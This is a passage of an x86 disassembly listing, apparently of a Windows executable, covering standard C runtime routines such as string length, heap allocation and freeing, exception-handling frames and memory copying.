[edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_417A9F: ; CODE XREF: sub_4179D0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_417AA8: ; CODE XREF: sub_4179D0+72j ; sub_4179D0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4179D0 endp ; =============== S U B R O U T I N E ======================================= sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p ; sub_4023A7:loc_402561p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_417AD0 loc_417ABC: ; CODE XREF: sub_417AB0+19j mov al, [ecx] inc ecx test al, al jz short loc_417B03 test ecx, 3 jnz short loc_417ABC add eax, 0 loc_417AD0: ; CODE XREF: sub_417AB0+Aj ; sub_417AB0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_4CDA14 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_4CF028 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_4CF020 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_435EB4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_4CF024 nop call near ptr 2730000h loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_4CF028 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_4CF024 call near ptr 2720000h nop loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C30 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_433C3Co call sub_417D8B call sub_41C846 mov dword_4CD994, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_435FD4, offset sub_41C8C9 mov off_435FD0, eax mov off_435FD8, offset sub_41C92F mov off_435FDC, offset sub_41C86F mov off_435FE0, offset sub_41C917 mov off_435FE4, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_433C48 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4CDA38 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_433C4C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_433C4C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; 